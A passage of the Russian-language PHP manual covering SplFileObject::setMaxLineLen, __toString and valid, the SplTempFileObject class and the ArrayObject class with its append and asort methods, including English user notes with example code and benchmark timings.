$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $fields) {
var_dump($fields);
}
?>

Смотрите также

  • SplFileObject::getFlags() - Получает флаги настройки объекта SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Установить максимальную длину строки

  • « SplFileObject::setFlags
  • SplFileObject::__toString »
  • PHP Manual
  • SplFileObject
  • Установить максимальную длину строки

SplFileObject::setMaxLineLen

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::setMaxLineLen — Установить максимальную длину строки

Описание

public SplFileObject::setMaxLineLen(int $maxLength): void

Устанавливает максимальную длину строки для чтения.

Список параметров

maxLength

Максимальная длина строки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает DomainException, если значение maxLength меньше нуля.

Примеры

Пример #1 Пример использования SplFileObject::setMaxLineLen()

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
echo $line . "\n";
}
?>

Содержимое lipsum.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Duis nec sapien felis, ac sodales nisl.
Nulla vitae magna vitae purus aliquet consequat.

Результатом выполнения данного примера будет что-то подобное:

Lorem ipsum dolor s
it amet, consectetu
r adipiscing elit.

Duis nec sapien fel
is, ac sodales nisl
.

Nulla vitae magna v
itae purus aliquet
consequat.

Смотрите также

  • SplFileObject::getMaxLineLen() - Получить максимальную длину строки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую строку в виде строки

  • « SplFileObject::setMaxLineLen
  • SplFileObject::valid »
  • PHP Manual
  • SplFileObject
  • Возвращает текущую строку в виде строки

SplFileObject::__toString

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::__toString — Возвращает текущую строку в виде строки

Описание

public SplFileObject::__toString(): string

Метод возвращает текущую строку в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущую строку в виде строки.

Список изменений

Версия | Описание
8.1.14, 8.2.1 | Изменён с псевдонима SplFileObject::fgets() на реализацию SplFileObject::current(), которая возвращает строку CSV, когда установлен флаг SplFileObject::READ_CSV.
7.2.19, 7.3.6 | Изменён псевдоним с SplFileObject::current() на SplFileObject::fgets().

User Contributed Notes

Anonymous 16-Oct-2018 11:36
Please note that the __toString() method is just an alias, as pointed out above, and that THAT method may return an array instead of a string. So in effect you might call a __toString() and expect a string, but instead receive an array.


Проверяет, достигнут ли конец файла (EOF)

  • « SplFileObject::__toString
  • SplTempFileObject »
  • PHP Manual
  • SplFileObject
  • Проверяет, достигнут ли конец файла (EOF)

SplFileObject::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::valid — Проверяет, достигнут ли конец файла (EOF)

Описание

public SplFileObject::valid(): bool

Проверяет, был ли достигнут конец файла (EOF).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если EOF не достигнут, false в противном случае.

Примеры

Пример #1 Пример использования SplFileObject::valid()

<?php
// Цикл по файлу
$file = new SplFileObject("file.txt");
while ($file->valid()) {
echo $file->fgets();
}
?>

Смотрите также

  • SplFileObject::current() - Получить текущую строки файла
  • SplFileObject::key() - Получить номер строки
  • SplFileObject::seek() - Перевод файлового указателя на заданную строку
  • SplFileObject::next() - Читать следующую строку
  • SplFileObject::rewind() - Перемотка файлового указателя в начало файла

User Contributed Notes

There are no user contributed notes for this page.


Класс SplTempFileObject

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

Введение

Класс SplTempFileObject предлагает объектно-ориентированный интерфейс для работы с временным файлом.

Обзор классов

class SplTempFileObject extends SplFileObject {
/* Наследуемые константы */
public const int SplFileObject::DROP_NEW_LINE;
public const int SplFileObject::READ_AHEAD;
public const int SplFileObject::SKIP_EMPTY;
public const int SplFileObject::READ_CSV;
/* Методы */
public __construct(int $maxMemory = 2 * 1024 * 1024)
/* Наследуемые методы */
public SplFileObject::current(): string|array|false
public SplFileObject::eof(): bool
public SplFileObject::fflush(): bool
public SplFileObject::fgetc(): string|false
public SplFileObject::fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public SplFileObject::fgets(): string
public SplFileObject::fgetss(string $allowable_tags = ?): string
public SplFileObject::flock(int $operation, int &$wouldBlock = null): bool
public SplFileObject::fpassthru(): int
public SplFileObject::fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public SplFileObject::fread(int $length): string|false
public SplFileObject::fscanf(string $format, mixed &...$vars): array|int|null
public SplFileObject::fseek(int $offset, int $whence = SEEK_SET): int
public SplFileObject::fstat(): array
public SplFileObject::ftell(): int|false
public SplFileObject::ftruncate(int $size): bool
public SplFileObject::fwrite(string $data, int $length = 0): int|false
public SplFileObject::getChildren(): null
public SplFileObject::getCsvControl(): array
public SplFileObject::getFlags(): int
public SplFileObject::getMaxLineLen(): int
public SplFileObject::hasChildren(): false
public SplFileObject::key(): int
public SplFileObject::next(): void
public SplFileObject::rewind(): void
public SplFileObject::seek(int $line): void
public SplFileObject::setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public SplFileObject::setFlags(int $flags): void
public SplFileObject::setMaxLineLen(int $maxLength): void
public SplFileObject::__toString(): string
public SplFileObject::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • SplTempFileObject::__construct — Создаёт новый объект временного файла

User Contributed Notes

Steve 16-Oct-2023 09:08
Since a temporary file is not a real file, some inherited methods will not work. For example,

* SplFileInfo::isReadable() and SplFileInfo::isWritable() return false, not because it was unreadable or unwritable, but because the file does not exists.

* SplFileObject::flock() fails and returns false.

* SplFileInfo::getATime(), SplFileInfo::getCTime(), SplFileInfo::getMTime(), SplFileInfo::getOwner(), SplFileInfo::getGroup(), SplFileInfo::getInode(), SplFileInfo::getPerms(), and SplFileInfo::getSize() throw RuntimeException "stat failed for php://temp". However, SplFileObject::fstat() succeeds and returns atime = mtime = ctime = uid = gid = ino = 0 together with the correct size.

* SplFileInfo::getType throws RuntimeException "Lstat failed for php://temp".

* SplFileInfo::getLinkTarget throws RuntimeException "Unable to read link php://temp, error: No such file or directory".


Создаёт новый объект временного файла

  • « SplTempFileObject
  • Различные классы и интерфейсы »
  • PHP Manual
  • SplTempFileObject
  • Создаёт новый объект временного файла

SplTempFileObject::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplTempFileObject::__construct — Создаёт новый объект временного файла

Описание

public SplTempFileObject::__construct(int $maxMemory = 2 * 1024 * 1024)

Создаёт новый объект, представляющий временный файл.

Список параметров

maxMemory

Максимальный объем памяти (в байтах, по умолчанию равен 2 МБ) для временного файла. Если временный файл превысит этот размер, он будет перемещён в файл в системной папке временных файлов.

Если значение maxMemory отрицательное, будет использоваться только память. Если значение maxMemory равно нулю, то память не будет использоваться.

Ошибки

Выбрасывает исключение RuntimeException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplTempFileObject()

Этот пример создаёт в памяти временный файл, в который можно записать данные и прочитать их.

<?php
$temp = new SplTempFileObject();
$temp->fwrite("Первая строка\n");
$temp->fwrite("А это вторая.\n");
echo "Во временный файл записано " . $temp->ftell() . " байт.\n\n";

// Перемотка в начало и чтение того, что было записано
$temp->rewind();
foreach ($temp as $line) {
echo $line;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Во временный файл записано 28 байт.

Первая строка
А это вторая.

Смотрите также

  • SplFileObject
  • потоки ввода-вывода PHP (дляphp://temp и php://memory)

User Contributed Notes

larry dot laski at gmail dot com 15-May-2015 03:46
Noting that when the tmp file exceeds memory limitations and is written to the system temp directory, it is deleted upon completion of the script it was initially created in. At least that is what I have seen and wanted to document for others since it wasn't clear.


Различные классы и интерфейсы

Содержание

  • ArrayObject
  • SplObserver
  • SplSubject

Классы и интерфейсы, не входящие в другие категории SPL.

User Contributed Notes

There are no user contributed notes for this page.


Класс ArrayObject

(PHP 5, PHP 7, PHP 8)

Введение

Данный класс позволяет объектам работать как массивы.

Обзор классов

class ArrayObject implements IteratorAggregate, ArrayAccess, Serializable, Countable {
/* Константы */
const int STD_PROP_LIST;
const int ARRAY_AS_PROPS;
/* Методы */
public __construct(array|object $array = [], int $flags = 0, string $iteratorClass = ArrayIterator::class)
public append(mixed $value): void
public asort(int $flags = SORT_REGULAR): true
public count(): int
public exchangeArray(array|object $array): array
public getArrayCopy(): array
public getFlags(): int
public getIterator(): Iterator
public getIteratorClass(): string
public ksort(int $flags = SORT_REGULAR): true
public natcasesort(): true
public natsort(): true
public offsetExists(mixed $key): bool
public offsetGet(mixed $key): mixed
public offsetSet(mixed $key, mixed $value): void
public offsetUnset(mixed $key): void
public serialize(): string
public setFlags(int $flags): void
public setIteratorClass(string $iteratorClass): void
public uasort(callable $callback): true
public uksort(callable $callback): true
public unserialize(string $data): void
}

Предопределённые константы

Опции ArrayObject

ArrayObject::STD_PROP_LIST

Свойства объекта получают стандартное поведение при доступе в виде списка (var_dump, foreach и т.д.).

ArrayObject::ARRAY_AS_PROPS

Записи могут быть доступны как свойства (для чтения и записи).

Содержание

  • ArrayObject::append — Добавляет значение в конец массива
  • ArrayObject::asort — Сортировать записи по значению
  • ArrayObject::__construct — Создаёт новый объект массива
  • ArrayObject::count — Получить количество общедоступных свойств ArrayObject
  • ArrayObject::exchangeArray — Заменить массив на другой
  • ArrayObject::getArrayCopy — Создаёт копию ArrayObject
  • ArrayObject::getFlags — Получает флаги поведения
  • ArrayObject::getIterator — Создать новый итератор из экземпляра ArrayObject
  • ArrayObject::getIteratorClass — Получает имя класса итератора для ArrayObject
  • ArrayObject::ksort — Сортировать записи по ключам
  • ArrayObject::natcasesort — Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::natsort — Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::offsetExists — Возвращает, существует ли указанный индекс
  • ArrayObject::offsetGet — Возвращает значение по указанному индексу
  • ArrayObject::offsetSet — Устанавливает новое значение по указанному индексу
  • ArrayObject::offsetUnset — Удаляет значение по указанному индексу
  • ArrayObject::serialize — Сериализовать ArrayObject
  • ArrayObject::setFlags — Устанавливает флаги поведения
  • ArrayObject::setIteratorClass — Устанавливает имя класса итератора для ArrayObject
  • ArrayObject::uasort — Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • ArrayObject::uksort — Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • ArrayObject::unserialize — Десериализовать ArrayObject

User Contributed Notes

rasmus at mindplay dot dk 09-Dec-2023 09:25
Note that this does not truly "allow objects to work as arrays" - an `ArrayObject` will not type-check as an array:

<?php

function gimme(array $a) {
    var_dump($a);
}

$a = new ArrayObject([1,2,3]);

var_dump(is_array($a)); // false

gimme($a); // Uncaught TypeError: gimme(): Argument #1 ($a) must be of type array, ArrayObject given

?>

If you want something that type-checks both for arrays and `ArrayObject`, use the `iterable` pseudotype instead:

<?php

function gimme(iterable $a) {
    var_dump($a);
}

$a = [1,2,3];

var_dump(is_iterable($a)); // true

var_dump($a instanceof iterable); // false (iterable is a pseudo-type and cannot be type-checked using instanceof)

gimme($a); // works

gimme(new ArrayObject($a)); // works

?>

Notice the caveat here, that arrays will not type-check as `instanceof iterable`, because pseudotypes cannot be checked that way - if you need a run-time type-check, use `is_iterable` for the type-check instead.
bub at gmail dot com 30-Jan-2022 01:07
If you need the last key of your collection use:
<?php
array_key_last($this->getArrayCopy())
?>

In an extending class it could look like:
<?php
class Collection extends ArrayObject
{
    public function lastKey(): int
    {
        return array_key_last($this->getArrayCopy());
    }
}
?>

If you want to use any type safe collection:
<?php
class BookCollection extends Collection
{
    public function add(Book $book) : void
    {
        $this->offsetSet($book->id, $book);
    }

    // note the return type "Book"
    public function get(int $bookId) : Book
    {
        $this->offsetGet($bookId);
    }
}
?>
lsrzj at yahoo dot com 26-Apr-2021 12:31
Differences between STD_PROP_LIST and ARRAY_AS_PROPS

<?php
$a = new ArrayObject([], ArrayObject::STD_PROP_LIST);
$a['arr'] = 'Array data';
$a->prop = 'Prop data';

$b = new ArrayObject([], ArrayObject::ARRAY_AS_PROPS);
$b['arr'] = 'Array data';
$b->prop = 'Prop data';

print_r($a);
/* Output

ArrayObject Object
(
    [prop] => Prop data
    [storage:ArrayObject:private] => Array
        (
            [arr] => Array data
        )

)*/

print_r($b);
/* Output

ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [arr] => Array data
            [prop] => Prop data
        )

)*/

?>
hello at rayfung dot hk 22-Feb-2021 01:38
If you want to use built-in array function with ArrayObject, store the iterator instance and return the value as reference in offsetGet.

<?php
class Collection extends \ArrayObject {
    public function __construct(array $data = [])
    {
        if (!\is_array($data) && !\array_key_exists('ArrayAccess', class_implements($data))) {
            $data = [$data];
        }

        $this->iterator = $this->getIterator();
        parent::__construct($data);
    }

    public function &offsetGet($index)
    {
        $value = &$this->iterator[$index] ?? null;

        return $value;
    }
}
?>
ke dot chankrisna168 at gmail dot com 05-May-2020 02:59
function map_of_array(array $element, $callable)
{
    foreach ($element as $key => $value) {
        $callable($key, $value);
    }
}

Usage:

$key_values = ["name" => "krisna", "level" => 10];

map_of_array($key_values, function ($key, $value) {
      echo "\n", $key, "=", $value;
});

Result:

name=krisna
level=10
fatindeed at hotmail dot com 31-Jan-2019 07:28
class RecursiveArrayObject extends \ArrayObject
{
    public function __construct($input = array())
    {
        $data = array();
        foreach ($input as $key => $value) {
            if (is_array($value)) {
                $value = new self($value);
            }
            $data[$key] = $value;
        }
        parent::__construct($data, \ArrayObject::ARRAY_AS_PROPS);
    }
}

$company = new RecursiveArrayObject(array(
    'ceo' => array(
        'id' => 1,
        'name' => 'tony',
        'age' => 36
    ),
    'coo' => array(
        'id' => 2,
        'name' => 'matt',
        'age' => 35
    ),
    'cto' => array(
        'id' => 3,
        'name' => 'james',
        'age' => 35
    )
));

var_dump($company->cto->name); // string(5) "james"
var_dump($company['coo']['name']); // string(4) "matt"
Vuong Nguyen 08-May-2018 03:52
You can easily realise that ArrayObject can use various functions as they are in ArrayIterator to iterate an object-as-a-array. However, you need to "activate" these function (rewind, valid, next and so on...) by using getIterator() first. Actually this function inherits from Iterator Aggregate interface.

Take a look at the following basic example. The results are the same:

<?php

$array = [1, 2, 3, 4];
$a = new ArrayObject($array);
$b = new ArrayIterator($array);

$iterator = $a->getIterator();

for($iterator->rewind(); $iterator->valid(); $iterator->next()){
    echo $iterator->current()*2;

}

for($b->rewind(); $b->valid(); $b->next()){
    echo $b->current()*2;

}

//Resulst are the same 2468 AND 2468
rudie 26-Feb-2018 02:08
If you want numerical ArrayObject objects to play nice with json_encode(), implement JsonSerializable:

class JsonSerializableArrayObject extends ArrayObject implements JsonSerializable {
    function jsonSerialize() {
        return $this->getArrayCopy();
    }
}

For assoc ArrayObject objects this isn't neccesary, but for numerical arrays it is, otherwise they will be formatted like

{"0":"jaap","1":"karel"}

instead of

["jaap","karel"]
Mahmoud Elnezamy 19-Feb-2016 01:36
<?php
class Prototype extends ArrayObject
{
    private $___class = null;

    public function __get($key)
    {
        return $this[$key];
    }

    public function __set($key, $value)
    {
        $this[$key] =  $value;
    }

    public function __call($key, $args)
    {
        if(is_object($this->___class) && is_callable([$this->___class, $key])){
            return call_user_func_array([$this->___class, $key],$args);
        }
        return is_callable($c = $this->__get($key)) ? call_user_func_array($c, $args) : null;
    }

    public function importObj($class,  $array = []){
        $this->___class = $class;
        if(count($array) > 0){
            $this->import($array);
        }
        return $this;
    }

    public function import($input)
    {
        $this->exchangeArray($input);
        return $this;
    }

    public function export()
    {
        return $this->objectToArray($this->getArrayCopy());
    }

    public function objectToArray ($object) {
        $o = [];
        foreach ($object as $key => $value) {
           $o[$key] = is_object($value) ? (array) $value: $value;
        }
        return $o;
    }

}

class user{
    public $name = 'Mahmoud Elnezamy';
    public function getName(){
        return 'You Name is ' . $this->name;
    }
}

//usage you can import object with some array

$add = ['age' => '27', 'country' => 'Egypt'];
$user = new user;
$Prototype = new Prototype;
$Prototype->importObj($user, $add);
//print_r($Prototype);

echo $Prototype->getName().' ';
echo $Prototype->age.' ';
echo $Prototype->country;
Gilles A 17-Nov-2014 01:51
// Example STD_PROP_LIST and ARRAY_AS_PROP combined
<?php
$ao = new ArrayObject();
$ao ->setFlags(ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS);

$ao->prop = 'prop data';
$ao['arr'] = 'array data';

print_r($ao);

?>

// Result

ArrayObject Object
(
    [storage:ArrayObject:private] =&gt; Array
        (
            [prop] => prop data
            [arr] => array data
        )

)
rwn dot gallego at gmail dot com 11-Aug-2013 09:30
There is a better explanation about the ArrayObject flags (STD_PROP_LIST and ARRAY_AS_PROPS) right here:

http://stackoverflow.com/a/16619183/1019305

Thanks to JayTaph
mehea 06-Nov-2012 10:28
Long story short b/c arrays by default are passed by value, if you pass an array to a function, the function works on a copy of the array while the original array remains unaltered by the function.

You may cause a change to the array to be reflected in the original array by having the function return the altered array and assign it to the variable for the original array, as follows:

<?php
function my_array_modify($data) {
    $data['b'] = 2;
    return $data;
}

$regularArray = array();

$regularArray['a'] = 1;

$regularArray = my_array_modify($regularArray);

var_dump($regularArray['b']); // 2
?>

Or, you may explicitly pass the array by reference in which case there is no need for the function to return the array since the change will have effected the original array, as follows:

<?php
function my_arrayref_modify(&$data) {
    $data['bb'] = 22;
}
my_arrayref_modify($regularArray);
var_dump($regularArray['bb']); // 22
?>
php5 dot man at lightning dot hu 05-Jan-2012 08:24
As you know ArrayObject is not an array so you can't use the built in array functions. Here's a trick around that:

Extend the ArrayObject class with your own and implement this magic method:

<?php
    public function __call($func, $argv)
    {
        if (!is_callable($func) || substr($func, 0, 6) !== 'array_')
        {
            throw new BadMethodCallException(__CLASS__.'->'.$func);
        }
        return call_user_func_array($func, array_merge(array($this->getArrayCopy()), $argv));
    }
?>

Now you can do this with any array_* function:
<?php
$yourObject->array_keys();
?>
- Don't forget to ommit the first parameter - it's automatic!

Note: You might want to write your own functions if you're working with large sets of data.
MarkAndrewSlade at gmail dot com 21-Aug-2011 06:05
I found the description of STD_PROP_LIST a bit vague, so I put together a simple demonstration to show its behavior:

<?php

$a = new ArrayObject(array(), ArrayObject::STD_PROP_LIST);
    $a['arr'] = 'array data';
    $a->prop = 'prop data';
$b = new ArrayObject();
    $b['arr'] = 'array data';
    $b->prop = 'prop data';

// ArrayObject Object
// (
//      [prop] => prop data
// )
print_r($a);

// ArrayObject Object
// (
//      [arr] => array data
// )
print_r($b);

?>
marijn at sensimedia dot nl 21-Jul-2011 12:34
A gotcha that is indeed mentioned in the manual, but isn't readily obvious and just cost me half an hour:

Objects implementing the Serializable interface do NOT get __sleep and __wakeup called; instead, they use serialize and unserialize methods, respectively (why, I don't know, but whatever - I'm sure there's a reason).

Hence, I was trying to serialize a database resultset in an object extending ArrayObject, and needed to fix some stuff regarding database resources on serialize. Took me a while to figure out __sleep wasn't getting called because ArrayObjects implements Serialize...

Presumably the ArrayObject internally implements the serialize/unserialize methods (in a trivial manner), hence the error wasn't apparent immediately (i.e., no fatal error was thrown) and I'd been trying to track why my objects didn't get serialized (they were of course) instead of renaming and fixing the methods.
sfinktah at php dot spamtrak dot org 17-Apr-2011 12:27
If you plan to derive your own class from ArrayObject, and  wish to maintain complete ArrayObject functionality (such as being able to cast to an array), it is necessary to use ArrayObject's own private property "storage".

Since that is impossible to do directly, you must use ArrayObject's offset{Set,Get,Exists,Unset} methods to manipulate it indirectly.

As a side benefit, this means you inherit all the iteration and other functions in complete working order.

This may sound obvious to someone who has never implemented their own ArrayObject class...  but it is far from so.

<?php

class MyArrayObject extends ArrayObject {
        static $debugLevel = 2;

        static public function sdprintf() {
                if (static::$debugLevel > 1) {
                        call_user_func_array("printf", func_get_args());
                }
        }

        public function offsetGet($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetSet($name, $value) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetExists($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetUnset($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
}

$mao = new MyArrayObject();
$mao["name"] = "bob";
$mao["friend"] = "jane";
print_r((array)$mao);

/* Output:

offsetSet(name,bob)
offsetSet(friend,jane)
Array
(
    [name] => bob
    [friend] => jane
)       */
?>

If you wish to use the "Array as Properties" flag, you simply need to include this in your constructor:

<?php parent::setFlags(parent::ARRAY_AS_PROPS); ?>

This will allow you to do things such as the below example, without overriding __get or __set .

<?php
$mao->name = "Phil";
echo $mao["name"];   /* Outputs "Phil" */
?>
rob at tdd dot org dot uk 03-Mar-2011 04:38
I don't believe the same performance is true since PHP 5.3. Using the same fill, read_key and foreach approach on both native arrays and ArrayObjects with 10000 keys I get the following

PHP 5.2

array() fill         0.013101
array() read         0.008685
array() foreach      0.004319
ArrayObject fill     0.014136
ArrayObject read     0.010003
ArrayObject foreach  3.454612

PHP 5.3

array() fill         0.010395
array() read         0.005933
array() foreach      0.001903
ArrayObject fill     0.010598
ArrayObject read     0.006387
ArrayObject foreach  0.003451

This was the code I used for both, an array or ArrayObject is passed into each of the functions. Again PEAR::Benchmark was used to get the results.

<?php
require_once 'Benchmark/Timer.php';

define('KEYS', 10000);

function fill(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $arr['key-' . $i] = $i;
    }
}

function read_key(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $v = $arr['key-' . $i];
    }
}

function fe(&$arr) {
    foreach ($arr as $key => $value) {
        $v = $value;
    }
}
?>
danbettles at yahoo dot co dot uk 23-Aug-2009 08:56
To implement array-style appending (e.g. "$object[] = 'foo';") in your own class implementing the ArrayAccess _interface_, all you need do is check if the key passed to your implementation of offsetSet() is NULL.  Something like the following.

<?php

class MyArrayObject implements ArrayAccess {

    /**
     * @var array
     */
    private $aValue;

    // ...

    /**
     * @see ArrayAccess::offsetSet()
     */
    public function offsetSet ($p_key, $p_value) {
        if (is_null($p_key)) {
            $this->aValue[] = $p_value;
        }
        else {
            $this->aValue[$p_key] = $p_value;
        }
    }

    // ...
}
?>
skrebbel at gmail dot com 18-Apr-2009 03:25
According to my benchmarks, doing foreach() on an ArrayObject is significantly slower than doing so on a vanilla array(). However, inserting keys and retrieving them is almost the same speed.

So, if performance is important, consider not using ArrayObject or descendant classes when you're iterating over its values a lot.

These are my timing results, using PEAR::Benchmark:

ArrayObject fill            0.01441502571106
ArrayObject read_key        0.018320083618164
ArrayObject read_foreach    2.1559031009674

array() fill                0.012364864349365
array() read_key            0.013092041015625
array() read_foreach        0.011217832565308

In all cases, 'fill()' inserts 10000 numbers at string keys, 'read_key()' reads all of those values by referencing the keys, and 'read_foreach()' does the same by walking through the array(object) with foreach().

As you can see, filling or reading from an ArrayObject by key is only 10% to 15% slower, but doing a foreach() is 200 times as costly. I am not sure what the cause of this may be.
deminy at deminy dot net 02-Jan-2009 01:31
Generally variable $this can't be used as an array within an object context. For example, following code piece would cause a fatal error:

<?php
class TestThis {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestThis();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>

But things are different when $this is used in an ArrayObject object. e.g., following code piece are valid:

<?php
class TestArrayObject extends ArrayObject {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestArrayObject();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>
Venelin Vulkov 05-Nov-2008 01:09
Simple example of usage :

<?php

$array = array('Buck','Jerry','Tomas');

$arrayObject = new ArrayObject($array);
// Add new element
$arrayObject->append('Tweety');

// We are getting the iterator of the object
$iterator = $arrayObject->getIterator();

// Simple while loop
while ($iterator->valid()) {
    echo $iterator->current() . "\n";
    $iterator->next();
}

/* Outputs */
Buck
Jerry
Tomas
Tweety

?>

Note that not all the public methods of this class are documented here .
( Which includes a lot sorting methods ) .

Regards
dave at csixty4 dot com 05-Sep-2008 08:28
If you want to use array functions on an ArrayObject, why not use iterator_to_array() to get a standard PHP array?  Do your operations on that array, then instantiate a new ArrayObject, passing it the array.

This might be a little slow on large ArrayObjects, but you'd have access to all of the array functions.
Anonymous 09-Aug-2008 06:17
Too bad the Array functions [1] are not available on this object... otherwise I would be using it all the time.

[1] http://nl.php.net/manual/en/ref.array.php


Добавляет значение в конец массива

  • « ArrayObject
  • ArrayObject::asort »
  • PHP Manual
  • ArrayObject
  • Добавляет значение в конец массива

ArrayObject::append

(PHP 5, PHP 7, PHP 8)

ArrayObject::append — Добавляет значение в конец массива

Описание

public ArrayObject::append(mixed $value): void

Добавляет новое значение в конец массива.

Замечание:

Этот метод не может быть вызван, если ArrayObject был создан из объекта. В этом случае используйте вместо него ArrayObject::offsetSet().

Список параметров

value

Значение, которое должно быть добавлено.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayObject::append()

<?php
$arrayobj = new ArrayObject(array('first','second','third'));
$arrayobj->append('fourth');
$arrayobj->append(array('five', 'six'));
var_dump($arrayobj);
?>

Результат выполнения данного примера:

object(ArrayObject)#1 (5) {
  [0]=>
  string(5) "first"
  [1]=>
  string(6) "second"
  [2]=>
  string(5) "third"
  [3]=>
  string(6) "fourth"
  [4]=>
  array(2) {
    [0]=>
    string(4) "five"
    [1]=>
    string(3) "six"
  }
}

Смотрите также

  • ArrayObject::offsetSet() - Устанавливает новое значение по указанному индексу

User Contributed Notes

There are no user contributed notes for this page.


Сортировать записи по значению

  • « ArrayObject::append
  • ArrayObject::__construct »
  • PHP Manual
  • ArrayObject
  • Сортировать записи по значению

ArrayObject::asort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::asort — Сортировать записи по значению

Описание

public ArrayObject::asort(int $flags = SORT_REGULAR): true

Сортирует элементы массива в порядке возрастания, так что его ключи сохраняют свою корреляцию со значениями, с которыми они связаны.

Используется в основном при сортировке ассоциативных массивов, где важен фактический порядок элементов.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типа сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строки на основе текущего языкового стандарта. Используется языковой стандарт, который можно изменить с помощью setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования ArrayObject::asort()

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->asort();

foreach ($fruitArrayObject as $key => $val) {
echo "$key = $val\n";
}
?>

Результат выполнения данного примера:

c = apple
b = banana
d = lemon
a = orange

Названия фруктов были отсортированы в алфавитном порядке, и ключ, связанный с каждой записью, был сохранён.

Смотрите также

  • ArrayObject::ksort() - Сортировать записи по ключам
  • ArrayObject::natsort() - Сортировать массив, используя алгоритм "natural order"
  • ArrayObject::natcasesort() - Сортировать массив, используя регистронезависимый алгоритм "natural order"
  • ArrayObject::uasort() - Сортировать записи, используя пользовательскую функцию для сравнения элементов и сохраняя при этом связь ключ/значение
  • ArrayObject::uksort() - Сортировать массив по ключам, используя пользовательскую функцию для сравнения
  • asort() - Сортирует массив в порядке возрастания и поддерживает ассоциацию индексов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект массива

  • « ArrayObject::asort
  • ArrayObject::count »
  • PHP Manual
  • ArrayObject
  • Создаёт новый объект массива

ArrayObject::__construct

(PHP 5, PHP 7, PHP 8)

ArrayObject::__construct — Создаёт новый объект массива

Описание

